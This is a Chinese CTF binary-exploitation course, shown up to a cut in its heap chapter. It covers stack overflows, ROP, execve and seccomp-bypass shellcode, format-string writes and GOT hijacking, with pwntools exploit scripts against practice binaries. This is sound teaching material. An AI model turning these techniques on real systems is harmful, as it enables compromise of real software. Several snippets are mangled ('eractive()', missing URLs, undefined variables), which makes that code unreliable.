版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)
文檔簡介
小羽佳培訓(xùn)課件:全面掌握核心技能課程導(dǎo)覽1培訓(xùn)目標(biāo)與學(xué)習(xí)路徑本課程旨在培養(yǎng)學(xué)員的全面安全技能,從基礎(chǔ)知識到高級漏洞利用。學(xué)習(xí)路徑循序漸進,確保每位學(xué)員都能掌握關(guān)鍵概念和實戰(zhàn)技能。掌握基本安全概念與原理學(xué)習(xí)實際漏洞分析方法培養(yǎng)獨立解決安全問題的能力建立安全防御思維模式2課程結(jié)構(gòu)與重點模塊課程分為八大章節(jié),涵蓋從環(huán)境配置到實戰(zhàn)演練的全過程。每個模塊都包含理論講解和實踐操作,確保學(xué)習(xí)效果。基礎(chǔ)環(huán)境配置與工具準(zhǔn)備各類漏洞原理與利用技術(shù)自動化腳本開發(fā)與應(yīng)用綜合案例分析與實戰(zhàn)演練3學(xué)習(xí)資源與環(huán)境準(zhǔn)備為確保最佳學(xué)習(xí)體驗,請?zhí)崆皽?zhǔn)備以下資源和環(huán)境。所有材料將通過在線平臺提供下載。虛擬機軟件(VirtualBox/VMware)Ubuntu16.04系統(tǒng)鏡像Python編程環(huán)境IDA與GDB調(diào)試工具第一章:基礎(chǔ)環(huán)境配置與工具準(zhǔn)備環(huán)境準(zhǔn)備配置適合安全分析的計算機環(huán)境,包括操作系統(tǒng)安裝與必要軟件部署。工具掌握熟悉各類安全分析工具的基本操作,包括靜態(tài)分析與動態(tài)調(diào)試工具?;A(chǔ)知識理解計算機系統(tǒng)底層原理,為后續(xù)漏洞分析打下堅實基礎(chǔ)。Linux環(huán)境搭建與推薦虛擬機安裝(VirtualBox/VMware)選擇合適的虛擬化平臺是安全分析的第一步。VirtualBox作為開源免費軟件,提供了豐富的功能和良好的跨平臺支持;而VMware則具有更好的性能和兼容性,適合長期專業(yè)使用。VirtualBox安裝步驟:訪問官方網(wǎng)站下載最新版本,按照向?qū)瓿砂惭bVMware安裝方法:選擇WorkstationPro或Player版本,遵循安裝指引虛擬機配置建議:至少分配2GB內(nèi)存和20GB硬盤空間,啟用硬件虛擬化網(wǎng)絡(luò)設(shè)置:推薦使用NAT模式,方便訪問外部網(wǎng)絡(luò)同時保持相對隔離Ubuntu16.04系統(tǒng)鏡像及配置Ubuntu16.04LTS是安全研究的理想選擇,穩(wěn)定性好且有大量安全工具支持。從官方渠道下載Ubuntu16.04LTS鏡像在虛擬機中創(chuàng)建新實例,選擇下載的ISO文件按照安裝向?qū)瓿上到y(tǒng)安裝,建議使用英文界面以減少兼容性問題安裝后更新系統(tǒng):sudoaptupdate&&sudoaptupgrade共享文件夾設(shè)置,方便文件傳輸在主機和虛擬機之間建立文件共享,可以大大提高工作效率,尤其是在分析樣本和傳輸工具時。在VirtualBox中:安裝增強功能包(GuestAdditions)在設(shè)置中添加共享文件夾,設(shè)置為自動掛載將用戶添加到vboxsf組:sudousermod-aGvboxsf$(whoami)在VMware中:安裝VMwareTools使用菜單中的共享文件夾選項進行配置在Linux中通過/mnt/hgfs路徑訪問共享內(nèi)容必備分析工具介紹IDA靜態(tài)分析簡介IDA(InteractiveDisassembler)是最強大的反匯編和調(diào)試工具之一,廣泛應(yīng)用于惡意軟件分析和漏洞研究?;竟δ埽悍磪R編、偽代碼生成、交叉引用分析版本選擇:Free版本功能有限,Pro版本功能完整但需付費常用快捷鍵:F5(生成偽代碼)、Tab(切換視圖)、N(重命名變量)圖形界面分析:通過函數(shù)調(diào)用圖快速理解程序結(jié)構(gòu)插件推薦:IDA_Signsrch、Keypatch、FindCrypt等擴展功能使用IDA進行靜態(tài)分析可以幫助您在不運行程序的情況下理解程序結(jié)構(gòu)和潛在漏洞。GDB動態(tài)調(diào)試及三大插件GDB是GNU調(diào)試器,是Linux下最常用的動態(tài)分析工具,通過以下插件可大幅提升調(diào)試效率:PEDA(PythonExploitDevelopmentAssistance):彩色顯示寄存器和內(nèi)存信息命令:checksec、patterncreate、patternsearch安裝:gitclone/longld/peda.git~/pedaGEF(GDBEnhancedFeatures):更現(xiàn)代的界面,支持更多架構(gòu)強大的堆分析功能安裝:wget-O~/.gdbinit-gef.pyhttps://gef.readthedocs.io/en/master/scripts/gef.shPwndbg:專為漏洞利用設(shè)計的GDB擴展堆分析、寄存器跟蹤和內(nèi)存可視化安裝:gitclone/pwndbg/pwndbgPythonpwntools庫快速入門pwntools是CTF競賽和漏洞利用中最常用的Python庫,提供了一套完整的工具集。安裝方法:pipinstallpwntools核心功能:進程交互:process()、remote()匯編/反匯編:asm()、disasm()ROP鏈構(gòu)造:ROP()格式化字符串利用:FmtStr()ELF文件分析:ELF()基本用法示例:匯編語言基礎(chǔ)匯編與C語言的對應(yīng)關(guān)系理解高級語言與匯編代碼的對應(yīng)關(guān)系是安全分析的基礎(chǔ)。以下是一些常見C語言結(jié)構(gòu)在x86/x64匯編中的表現(xiàn)形式:C語言結(jié)構(gòu)x86/x64匯編表現(xiàn)函數(shù)調(diào)用call指令,參數(shù)通過?;蚣拇嫫鱾鬟fif-else條件cmp+條件跳轉(zhuǎn)(je,jne等)循環(huán)結(jié)構(gòu)條件比較+跳轉(zhuǎn)指令的組合變量訪問通過寄存器或內(nèi)存地址訪問數(shù)組操作基址+偏移的內(nèi)存訪問模式掌握這些對應(yīng)關(guān)系,可以幫助您在閱讀反匯編代碼時快速理解程序邏輯。常用匯編指令解析以下是x86/x64架構(gòu)中最常見的匯編指令及其功能說明:數(shù)據(jù)傳輸:mov,lea,push,pop,xchg算術(shù)運算:add,sub,mul,div,inc,dec邏輯運算:and,or,xor,not,shl,shr比較指令:cmp,test跳轉(zhuǎn)指令:jmp,je/jne,jg/jl,call,ret系統(tǒng)調(diào)用:syscall,int0x80特別需要注意的指令:lea:加載有效地址,常用于計算復(fù)雜地址或優(yōu)化乘法xorreg,reg:常見的寄存器清零方法call:函數(shù)調(diào)用,會自動將返回地址壓棧ret:函數(shù)返回,彈出棧頂?shù)刂凡⑻D(zhuǎn)推薦學(xué)習(xí)資源王爽《匯編語言》是中文世界最經(jīng)典的匯編教材,適合初學(xué)者入門。書中以8086處理器為例,詳細(xì)介紹了匯編語言的基本概念、指令系統(tǒng)和編程技巧。雖然與現(xiàn)代x86/x64架構(gòu)有所不同,但基本原理是一致的。在線工具Godbolt在線編譯器(/)是一個強大的工具,可以實時查看不同編譯器將C/C++代碼轉(zhuǎn)換為匯編的結(jié)果。通過對比高級語言和生成的匯編代碼,可以快速理解編譯器的行為和優(yōu)化策略。這對于分析漏洞和理解程序行為非常有幫助。實踐建議第二章:棧溢出漏洞詳解棧溢出是最經(jīng)典且常見的內(nèi)存破壞漏洞類型,也是理解內(nèi)存安全的基礎(chǔ)。本章將深入剖析棧溢出漏洞的原理、利用方法和防御措施,幫助您建立扎實的漏洞分析基礎(chǔ)。漏洞原理了解棧的基本結(jié)構(gòu)和工作原理,包括棧幀、局部變量和返回地址等關(guān)鍵概念。利用技術(shù)掌握從基礎(chǔ)棧溢出到高級ROP鏈構(gòu)造的完整利用技術(shù)體系。實戰(zhàn)演練通過實際案例分析和動手實踐,鞏固理論知識并提升實戰(zhàn)能力。防御措施了解現(xiàn)代系統(tǒng)中的棧保護機制,如棧保護(Canary)、ASLR和NX等。棧溢出基礎(chǔ)案例覆蓋局部變量與返回地址棧溢出的基本原理是利用緩沖區(qū)邊界檢查不足,寫入超出預(yù)期長度的數(shù)據(jù),從而覆蓋棧上的其他內(nèi)容。最簡單的棧溢出包括以下兩種情況:覆蓋局部變量:通過溢出修改程序的控制流標(biāo)志或關(guān)鍵數(shù)據(jù)覆蓋返回地址:控制程序執(zhí)行流,使其跳轉(zhuǎn)到攻擊者指定的位置以下是一個典型的存在棧溢出的C語言代碼示例:voidvulnerable_function(){charbuffer[64];gets(buffer);//危險函數(shù),無邊界檢查}intmain(){vulnerable_function();return0;}在上述代碼中,gets函數(shù)沒有邊界檢查,攻擊者可以輸入超過64字節(jié)的數(shù)據(jù),覆蓋返回地址并控制程序流程。后門函數(shù)利用示例最簡單的棧溢出利用是跳轉(zhuǎn)到程序中已有的"后門函數(shù)"。后門函數(shù)通常是程序中存在但正常情況下不會執(zhí)行的代碼段,例如:voidbackdoor(){system("/bin/sh");//打開shell}voidvulnerable_function(){charbuffer[64];gets(buffer);}intmain(){vulnerable_function();return0;}利用步驟:使用IDA或GDB查找backdoor函數(shù)的地址構(gòu)造payload:填充物+backdoor地址填充物長度=緩沖區(qū)大小+棧幀信息(通常是64+8字節(jié))利用Python腳本示例:frompwnimport*p=process('./vulnerable')backdoor_addr=0x401146#從IDA中獲取的地址payload=b'A'*72+p64(backdoor_addr)p.sendline(payload)eractive()ROP技術(shù)入門ROP(Return-OrientedProgramming)是一種高級棧溢出利用技術(shù),通過鏈接程序中已有的代碼片段(稱為gadgets)來執(zhí)行任意操作。基本原理:每個gadget以ret指令結(jié)束,執(zhí)行后會從棧上彈出下一個地址并跳轉(zhuǎn),從而形成一個執(zhí)行鏈。參數(shù)控制在x64系統(tǒng)中,函數(shù)參數(shù)通過寄存器傳遞(rdi,rsi,rdx,rcx,r8,r9),構(gòu)造ROP鏈時需要找到設(shè)置這些寄存器的gadgets。常用gadget示例:poprdi;ret(設(shè)置第一個參數(shù))、poprsi;ret(設(shè)置第二個參數(shù))執(zhí)行系統(tǒng)命令通過ROP鏈調(diào)用system("/bin/sh")函數(shù),需要:找到system函數(shù)地址找到"/bin/sh"字符串地址或?qū)⑵鋵懭肟勺x寫內(nèi)存進階棧溢出技巧棧遷移與ROP鏈構(gòu)造當(dāng)緩沖區(qū)空間有限時,可以使用棧遷移(StackPivot)技術(shù)將棧指針移動到我們控制的更大空間,以構(gòu)建更復(fù)雜的ROP鏈。核心思想:修改RSP/ESP寄存器,使其指向我們控制的內(nèi)存區(qū)域常用gadget:leave;ret(相當(dāng)于movesp,ebp;popebp;ret)適用場景:緩沖區(qū)溢出空間不足以容納完整ROP鏈時棧遷移步驟:將偽造的棧幀數(shù)據(jù)放入可控內(nèi)存區(qū)域覆蓋原始棧上的EBP/RBP為偽造棧地址利用leave;retgadget完成棧遷移在偽造棧上構(gòu)造完整ROP鏈利用libc函數(shù)地址計算system調(diào)用現(xiàn)代系統(tǒng)通常啟用ASLR(地址空間布局隨機化),使得函數(shù)地址在每次運行時都不同。繞過方法是利用GOT表泄露已加載的libc函數(shù)地址,然后計算system函數(shù)的偏移。libc中函數(shù)地址的關(guān)系是固定的,利用這一特性可以:泄露一個libc函數(shù)的實際地址(如puts,printf等)計算libc基地址=泄露地址-函數(shù)在libc中的偏移計算system地址=libc基地址+system在libc中的偏移計算"/bin/sh"字符串地址=libc基地址+字符串在libc中的偏移獲取偏移的方法:使用readelf-s/lib/x86_64-linux-gnu/libc.so.6|grep函數(shù)名使用pwntools的ELF工具:libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')實戰(zhàn)演練:覆蓋返回地址獲取shell以下是一個完整的棧溢出利用示例,結(jié)合了上述技術(shù):第三章:Shellcode編寫與利用Shellcode是一段用于注入到目標(biāo)程序中執(zhí)行特定功能的機器碼,通常用于在成功利用漏洞后獲取控制權(quán)。本章將深入探討Shellcode的編寫、優(yōu)化和部署技術(shù),幫助您掌握這一重要的漏洞利用工具。1基礎(chǔ)知識了解Shellcode的基本概念、類型和工作原理,包括各種系統(tǒng)調(diào)用接口和參數(shù)傳遞方式。2編寫技巧學(xué)習(xí)如何編寫平臺特定的Shellcode,包括匯編代碼編寫、機器碼生成和位置無關(guān)代碼設(shè)計。3優(yōu)化方法掌握Shellcode優(yōu)化技術(shù),如體積減小、規(guī)避特殊字符和繞過常見安全檢測。高級應(yīng)用探索Shellcode的高級應(yīng)用,如側(cè)信道技術(shù)、信息泄露和繞過安全機制。Shellcode基礎(chǔ)syscall調(diào)用實現(xiàn)shellShellcode最常見的目標(biāo)是獲取shell,這通常通過execve系統(tǒng)調(diào)用實現(xiàn)。在不同架構(gòu)上,系統(tǒng)調(diào)用的方式略有不同:x86架構(gòu):;execve("/bin/sh",0,0)shellcodeforx86xoreax,eax;清零eaxpusheax;字符串結(jié)束符'\0'push0x68732f2f;"hs//"push0x6e69622f;"nib/"movebx,esp;ebx指向"/bin/sh"xorecx,ecx;argv=NULLxoredx,edx;envp=NULLmoval,0xb;syscallnumberforexecveint0x80;觸發(fā)系統(tǒng)調(diào)用x86-64架構(gòu):;execve("/bin/sh",0,0)shellcodeforx86-64xorrax,rax;清零raxpushrax;字符串結(jié)束符'\0'movrdi,0x68732f6e69622fpushrdi;"/bin/sh"movrdi,rsp;rdi指向"/bin/sh"xorrsi,rsi;argv=NULLxorrdx,rdx;envp=NULLmoval,0x3b;syscallnumberforexecvesyscall;觸發(fā)系統(tǒng)調(diào)用Seccomp規(guī)則繞過技巧Seccomp(SecureComputingMode)是Linux內(nèi)核的一個安全機制,可以限制進程可以使用的系統(tǒng)調(diào)用。在CTF競賽中,經(jīng)常會遇到seccomp規(guī)則限制execve系統(tǒng)調(diào)用,此時需要使用替代方法:使用open+read+write系統(tǒng)調(diào)用讀取flag使用其他未被禁止的系統(tǒng)調(diào)用如execveat利用shellcode與程序交互,如讀寫內(nèi)存、調(diào)用程序函數(shù)等示例:使用open+read+write讀取flag的shellcode;open("./flag",O_RDONLY)+read+writeshellcode;打開文件xorrax,raxpushraxmovrdi,0x67616c662f2e;"./flag"pushrdimovrdi,rsp;filenamexorrsi,rsi;O_RDONLYmoval,2;syscall:opensyscall;讀取內(nèi)容movrdi,rax;fdmovrsi,rspsubrsi,0x100;緩沖區(qū)地址movrdx,0x100;讀取大小xorrax,rax;syscall:readsyscall;寫入標(biāo)準(zhǔn)輸出movrdi,1;fd:stdoutmovrdx,rax;讀取的字節(jié)數(shù)xorrax,raxincrax;syscall:writesyscall可打印shellcode設(shè)計在某些場景下,輸入可能會被過濾,只允許可打印字符。設(shè)計可打印shellcode的方法包括:使用alpha-numericencoder:將shellcode編碼為只包含字母和數(shù)字的形式利用自修改代碼:使用可打印指令構(gòu)造一個解碼器,在運行時生成真正的shellcode使用XOR編碼:通過一系列XOR操作解碼出原始shellcode推薦工具:使用pwntools的shellcraft模塊和encoder可以生成各種類型的shellcode,包括可打印字符的shellcode:frompwnimport*context.arch='amd64'shellcode=shellcraft.sh()encoded=encoders.encoder.encode(asm(shellcode),avoid='\x00\n')print(hexdump(encoded))側(cè)信道攻擊與信息泄露側(cè)信道泄露原理側(cè)信道攻擊是通過分析程序執(zhí)行的非功能特性(如時間、內(nèi)存使用等)來獲取敏感信息的技術(shù)。在shellcode中,可以利用側(cè)信道來泄露無法直接讀取的信息,例如:時間側(cè)信道:根據(jù)操作執(zhí)行時間的不同來推斷信息內(nèi)存訪問模式:通過觀察內(nèi)存訪問觸發(fā)的行為差異獲取信息錯誤響應(yīng):根據(jù)程序?qū)Σ煌斎氲腻e誤響應(yīng)來區(qū)分信息利用側(cè)信道泄露flag在CTF比賽中,常見的側(cè)信道攻擊場景是通過逐字節(jié)猜測flag,并根據(jù)程序的響應(yīng)判斷猜測是否正確。示例shellcode實現(xiàn):;基于時間的側(cè)信道攻擊shellcodestart:movrdi,[flag_addr];加載flag地址moval,[known_prefix];已知的flag前綴movbl,[rdi];讀取flag的第一個字節(jié)cmpal,bl;比較jnewrong_guess;不匹配則跳轉(zhuǎn);匹配則執(zhí)行一個耗時操作movrcx,10000000;大循環(huán)次數(shù)delay_loop:decrcxjnzdelay_loopwrong_guess:;繼續(xù)處理下一個字節(jié)...Shellcode與環(huán)境交互高級shellcode可以與程序環(huán)境交互,例如:讀取和修改程序內(nèi)存調(diào)用程序中的函數(shù)與程序的標(biāo)準(zhǔn)輸入/輸出交互利用程序中的數(shù)據(jù)結(jié)構(gòu)這種交互式shellcode通常需要更復(fù)雜的設(shè)計,但能夠?qū)崿F(xiàn)更強大的功能,特別是在繞過安全限制方面。實際應(yīng)用案例:某CTF比賽中,程序加載了flag但不直接顯示,需要編寫shellcode逐字節(jié)猜測flag并通過時間差來判斷正確性。選手編寫了一個循環(huán),每次猜測一個字符,如果猜對則執(zhí)行一個大循環(huán)導(dǎo)致明顯延遲,否則立即返回。通過測量響應(yīng)時間差異,最終成功還原出完整flag。信息泄露技術(shù)進階在實際攻擊中,信息泄露是漏洞利用鏈中的關(guān)鍵一環(huán),特別是在存在ASLR等保護機制的情況下。常見的泄露目標(biāo)包括:程序基址:繞過PIE保護堆地址:用于堆利用棧地址:用于棧攻擊libc地址:用于計算system等函數(shù)位置shellcode可以通過讀取特定內(nèi)存區(qū)域并輸出內(nèi)容來實現(xiàn)這些泄露,為后續(xù)攻擊提供必要信息。第四章:格式化字符串漏洞格式化字符串漏洞是一種常見且強大的內(nèi)存泄露和任意寫入漏洞,允許攻擊者在程序中讀取或修改任意內(nèi)存位置。本章將詳細(xì)介紹格式化字符串漏洞的原理、利用方法和實戰(zhàn)技巧?;A(chǔ)原理了解格式化函數(shù)的工作機制,格式說明符的解析過程,以及為什么不正確處理用戶輸入會導(dǎo)致安全問題。信息泄露學(xué)習(xí)如何利用%x、%p等格式說明符讀取棧上的數(shù)據(jù),以及如何定位和泄露關(guān)鍵信息。內(nèi)存寫入掌握使用%n格式說明符進行任意地址寫入的技術(shù),以及如何精確控制寫入的值。實際應(yīng)用通過實戰(zhàn)案例學(xué)習(xí)格式化字符串漏洞的完整利用流程,包括信息泄露、GOT表劫持和代碼執(zhí)行。格式化字符串漏洞在現(xiàn)代軟件中仍然廣泛存在,尤其是在處理用戶輸入的打印函數(shù)中。本章將幫助您全面理解這類漏洞的原理和利用方法,為后續(xù)的漏洞分析和利用打下堅實基礎(chǔ)。我們將從最基本的格式化函數(shù)原理開始,逐步深入到高級利用技術(shù)和實戰(zhàn)案例分析。格式化字符串基礎(chǔ)printf的基本用法與漏洞原理格式化函數(shù)如printf、sprintf、fprintf等用于按照特定格式輸出數(shù)據(jù)。這些函數(shù)的第一個參數(shù)是格式化字符串,后續(xù)參數(shù)對應(yīng)字符串中的格式說明符。常見格式說明符:%d,%i:整數(shù)%u:無符號整數(shù)%x,%X:十六進制整數(shù)%s:字符串%p:指針地址%n:將已輸出字符數(shù)寫入指定地址漏洞產(chǎn)生的原因:當(dāng)格式化字符串可以被用戶控制,且格式說明符數(shù)量多于提供的參數(shù)時,程序會從棧上讀取額外數(shù)據(jù)作為"參數(shù)"。典型的漏洞代碼:voidvulnerable_function(char*user_input){printf(user_input);//危險!直接使用用戶輸入作為格式字符串}//安全的做法voidsafe_function(char*user_input){printf("%s",user_input);//將用戶輸入作為參數(shù)傳遞}棧變量泄露與修改技巧通過格式化字符串漏洞,可以實現(xiàn)以下操作:1.讀取棧上數(shù)據(jù)使用%x或%p格式說明符可以讀取棧上的值。通過指定參數(shù)位置,可以精確讀取特定位置的數(shù)據(jù):直接使用連續(xù)的%x:printf("%x%x%x%x")使用參數(shù)索引:printf("%6$x")-讀取第6個參數(shù)位置的值定位格式字符串在棧上的位置:使用唯一標(biāo)識符:printf("AAAA.%x.%x.%x.%x")觀察輸出中何時出現(xiàn)0x41414141("AAAA"的十六進制表示)2.任意地址讀取將目標(biāo)地址放在棧上,然后使用%s讀取該地址指向的內(nèi)容://假設(shè)目標(biāo)地址為0x8049794charpayload[100];*(int*)(&payload[0])=0x8049794;sprintf(payload+4,"%s");printf(payload);//將讀取0x8049794處的字符串3.任意地址寫入%n格式說明符會將已經(jīng)輸出的字符數(shù)量寫入指定地址。通過控制輸出字符數(shù)量,可以寫入任意值://寫入0x41414141到地址0x8049794charpayload[100];*(int*)(&payload[0])=0x8049794;sprintf(payload+4,"%16930112c%n");//0x41414141=1094795585printf(payload);格式化字符串高級利用1目標(biāo)分析確定漏洞位置和可利用條件,分析程序保護機制和可用函數(shù)。2信息收集使用格式化字符串泄露關(guān)鍵地址,包括棧地址、程序基址和libc地址。3構(gòu)建漏洞利用設(shè)計payload修改關(guān)鍵內(nèi)存區(qū)域,如GOT表或函數(shù)指針,重定向程序流程。4獲取控制權(quán)觸發(fā)修改后的函數(shù)調(diào)用,獲取shell或執(zhí)行其他操作。修改返回地址指向后門函數(shù)格式化字符串漏洞可以用來修改棧上保存的返回地址,使程序跳轉(zhuǎn)到指定位置:確定格式化字符串漏洞位置計算返回地址在棧上的偏移使用%n寫入后門函數(shù)地址示例代碼:frompwnimport*p=process('./vulnerable')backdoor_addr=0x4011ab#后門函數(shù)地址#確定格式字符串在棧上位置p.sendline(b'AAAA%p.%p.%p.%p.%p.%p.%p.%p')response=p.recvline()(f"Response:{response}")#假設(shè)返回地址在第7個參數(shù)位置ret_addr_offset=7#構(gòu)造寫入payloadpayload=p32(target_addr)#要寫入的地址payload+=f'%{backdoor_addr}c%{ret_addr_offset}$n'.encode()p.sendline(payload)eractive()這種技術(shù)在現(xiàn)代系統(tǒng)中可能受到棧保護機制如Canary的影響,但在某些特定條件下仍然可用。實戰(zhàn)案例分析與代碼演示以下是一個更完整的格式化字符串漏洞利用案例,目標(biāo)是劫持GOT表中的函數(shù)指針:frompwnimport*context.log_level='info'elf=ELF('./vulnerable')p=process('./vulnerable')#1.泄露程序基址(繞過PIE)p.sendlineafter(b'>',b'1')#選擇泄露功能payload=b'%3$p.%31$p'#假設(shè)這些偏移包含關(guān)鍵信息p.sendline(payload)leak=p.recvline().strip().split(b'.')code_leak=int(leak[0],16)code_base=code_leak-0x1240#減去已知偏移得到基址log.success(f"Codebase:{hex(code_base)}")#2.計算目標(biāo)函數(shù)的GOT表地址got_puts=code_base+elf.got['puts']backdoor=code_base+0x11ab#后門函數(shù)偏移#3.修改GOT表p.sendlineafter(b'>',b'2')#選擇寫入功能#使用多字節(jié)寫入技術(shù)(寫入4字節(jié))payload=fmtstr_payload(8,{got_puts:backdoor})p.sendline(payload)#4.觸發(fā)被劫持的函數(shù)p.sendlineafter(b'>',b'3')#觸發(fā)puts調(diào)用eractive()上述代碼展示了一個完整的格式化字符串漏洞利用過程,包括信息泄露、地址計算和GOT表劫持。在實際CTF比賽中,這是一種常見且有效的攻擊技術(shù)。第五章:動態(tài)鏈接與GOT表攻擊動態(tài)鏈接是現(xiàn)代程序優(yōu)化資源使用的重要機制,但同時也引入了可能被攻擊的表結(jié)構(gòu)。本章將深入探討動態(tài)鏈接的工作原理,以及如何利用GOT(全局偏移表)進行攻擊,實現(xiàn)函數(shù)劫持和代碼執(zhí)行。動態(tài)鏈接基礎(chǔ)了解Linux程序加載過程和動態(tài)鏈接機制的基本工作原理。GOT/PLT結(jié)構(gòu)深入研究全局偏移表(GOT)和過程鏈接表(PLT)的內(nèi)存布局和訪問方式。地址泄露技術(shù)學(xué)習(xí)如何利用GOT表泄露函數(shù)地址,繞過ASLR保護機制。表項劫持掌握修改GOT表項的技術(shù),重定向函數(shù)調(diào)用實現(xiàn)代碼執(zhí)行。獲取系統(tǒng)控制權(quán)結(jié)合其他漏洞技術(shù),構(gòu)建完整的漏洞利用鏈,獲取系統(tǒng)shell。本章內(nèi)容對于理解現(xiàn)代漏洞利用技術(shù)至關(guān)重要,尤其是在ASLR等保護機制廣泛應(yīng)用的情況下。通過學(xué)習(xí)動態(tài)鏈接的底層原理和GOT表攻擊技術(shù),您將能夠更有效地分析和利用各類內(nèi)存破壞漏洞。動態(tài)鏈接機制解析PLT與GOT表工作原理動態(tài)鏈接允許程序在運行時加載外部庫函數(shù),而不是在編譯時靜態(tài)鏈接。這種機制通過兩個重要的表結(jié)構(gòu)實現(xiàn):PLT和GOT。PLT(ProcedureLinkageTable)過程鏈接表包含調(diào)用外部函數(shù)的跳轉(zhuǎn)代碼,主要特點:位于程序的.plt段每個外部函數(shù)對應(yīng)一個PLT條目包含跳轉(zhuǎn)到實際函數(shù)地址的代碼第一次調(diào)用時會觸發(fā)動態(tài)鏈接PLT條目通常如下所示:puts@plt:jmp[GOT+puts偏移]#跳轉(zhuǎn)到GOT表中存儲的地址pushID#如果GOT未初始化,推送函數(shù)IDjmp_dl_runtime_resolve#跳轉(zhuǎn)到動態(tài)鏈接器解析函數(shù)GOT(GlobalOffsetTable)全局偏移表存儲外部函數(shù)的實際地址,主要特點:位于程序的.got.plt段每個外部函數(shù)對應(yīng)一個GOT條目初始指向PLT中的下一條指令函數(shù)第一次調(diào)用后,更新為實際地址GOT表是可寫的(關(guān)鍵漏洞點)動態(tài)鏈接過程動態(tài)鏈接的完整流程如下:程序調(diào)用外部函數(shù)(如puts)跳轉(zhuǎn)到puts@pltPLT代碼跳轉(zhuǎn)到GOT表對應(yīng)條目如果是首次調(diào)用:GOT條目指回PLT的下一條指令PLT調(diào)用動態(tài)鏈接器_dl_runtime_resolve動態(tài)鏈接器解析函數(shù)實際地址更新GOT表中的地址跳轉(zhuǎn)到實際函數(shù)非首次調(diào)用:GOT條目已包含實際地址直接跳轉(zhuǎn)到實際函數(shù)利用GOT表泄露libc地址GOT表攻擊的第一步通常是泄露libc函數(shù)的實際地址,從而計算libc基地址:找到已解析的GOT表項(如puts,printf等)讀取GOT表中存儲的地址(通過格式化字符串或信息泄露漏洞)計算偏移得到libc基地址示例代碼:frompwnimport*elf=ELF('./vulnerable')p=process('./vulnerable')#泄露puts函數(shù)的GOT表內(nèi)容puts_got=elf.got['puts']payload=f'%{puts_got}$s'.encode()#格式化字符串讀取地址內(nèi)容#或使用其他泄露方法#如果有直接泄露功能:payload=p64(puts_got)p.sendline(payload)leak=p.recvline()#解析泄露的地址puts_addr=u64(leak.ljust(8,b'\x00'))log.success(f"Leakedputs@GLIBC:{hex(puts_addr)}")#計算libc基地址libc_base=puts_addr-libc.symbols['puts']log.success(f"Libcbase:{hex(libc_base)}")GOT表覆蓋攻擊信息收集與分析確定目標(biāo)程序中可用的函數(shù)和GOT表位置,分析程序流程找出合適的攻擊點。使用readelf-r或objdump-R查看重定位表分析程序調(diào)用了哪些外部函數(shù)確定哪些函數(shù)適合被覆蓋地址泄露利用信息泄露漏洞獲取libc基地址,計算system函數(shù)位置。泄露已解析的GOT表項根據(jù)libc數(shù)據(jù)庫確定版本計算system和"/bin/sh"的地址GOT表覆蓋修改函數(shù)指針,將常用函數(shù)(如atoi,printf)重定向到system函數(shù)。選擇合適的目標(biāo)函數(shù)確保函數(shù)參數(shù)可控使用寫入漏洞修改GOT表觸發(fā)執(zhí)行調(diào)用被劫持的函數(shù),傳入"/bin/sh"作為參數(shù),獲取shell。程序調(diào)用原函數(shù)時會執(zhí)行system控制輸入使第一個參數(shù)為"/bin/sh"成功獲取交互式shell修改atoi函數(shù)指針為systematoi函數(shù)是GOT劫持的理想目標(biāo),因為:許多程序使用atoi處理用戶輸入atoi只接受一個字符串參數(shù),與system函數(shù)簽名匹配用戶通常可以控制傳給atoi的內(nèi)容攻擊步驟:確定atoi的GOT表地址泄露libc地址并計算system位置將atoi的GOT表項修改為system地址輸入"sh"或"/bin/sh"作為參數(shù)當(dāng)程序調(diào)用atoi("sh")時,實際執(zhí)行的是system("sh"),從而獲取shell。getshell完整流程演示frompwnimport*context.log_level='info'elf=ELF('./vulnerable')libc=ELF('./libc.so.6')#或系統(tǒng)libcp=process('./vulnerable')#1.泄露puts實際地址p.sendlineafter(b'>',b'1')#假設(shè)有泄露功能puts_plt=elf.plt['puts']puts_got=elf.got['puts']main=elf.symbols['main']#構(gòu)造ROP鏈打印puts的GOT內(nèi)容payload=b'A'*paddingpayload+=p64(pop_rdi_gadget)payload+=p64(puts_got)payload+=p64(puts_plt)payload+=p64(main)#返回main繼續(xù)利用p.sendline(payload)leak=p.recvline().strip()puts_addr=u64(leak.ljust(8,b'\x00'))log.success(f"Leakedputs@GLIBC:{hex(puts_addr)}")#2.計算libc基地址和system地址libc_base=puts_addr-libc.symbols['puts']system_addr=libc_base+libc.symbols['system']binsh_addr=libc_base+next(libc.search(b'/bin/sh'))log.success(f"Libcbase:{hex(libc_base)}")log.success(f"System:{hex(system_addr)}")#3.修改atoi的GOT表為systemp.sendlineafter(b'>',b'2')#假設(shè)有寫入功能atoi_got=elf.got['atoi']#使用格式化字符串或其他方法寫入#假設(shè)有任意地址寫入功能payload=p64(atoi_got)+p64(system_addr)p.sendline(payload)#4.觸發(fā)getshellp.sendlineafter(b'>',b'sh')#輸入sh作為atoi參數(shù)eractive()第六章:堆漏洞入門與進階堆是程序動態(tài)分配內(nèi)存的區(qū)域,也是現(xiàn)代漏洞利用的主要戰(zhàn)場。本章將深入探討堆的內(nèi)部結(jié)構(gòu)、分配機制和常見漏洞,幫助您掌握堆漏洞分析和利用的核心技能。堆的基本結(jié)構(gòu)了解堆的內(nèi)存布局、塊結(jié)構(gòu)和分配算法,包括ptmalloc2的工作原理和關(guān)鍵數(shù)據(jù)結(jié)構(gòu)。堆溢出學(xué)習(xí)堆緩沖區(qū)溢出的原理和利用方法,包括相鄰塊覆蓋和元數(shù)據(jù)破壞。2DoubleFree掌握雙重釋放漏洞的成因和利用技術(shù),以及fastbinattack的核心原理。Use-After-Free深入研究釋放后使用漏洞,學(xué)習(xí)如何利用懸垂指針控制程序執(zhí)行流程。Tcache機制了解現(xiàn)代libc中的tcache機制及其對堆利用的影響和新的攻擊面。Hook劫持學(xué)習(xí)利用堆漏洞劫持malloc_hook和free_hook等關(guān)鍵函數(shù)指針的技術(shù)。本章內(nèi)容是現(xiàn)代漏洞利用的核心部分,也是CTF比賽和實際安全研究中最常見的漏洞類型。通過系統(tǒng)學(xué)習(xí)堆漏洞的原理和利用方法,您將能夠應(yīng)對更復(fù)雜的安全挑戰(zhàn),提升漏洞分析和利用的能力。堆基礎(chǔ)知識堆結(jié)構(gòu)與相關(guān)函數(shù)介紹堆是程序運行時動態(tài)分配內(nèi)存的區(qū)域,Linux系統(tǒng)中使用ptmalloc2作為默認(rè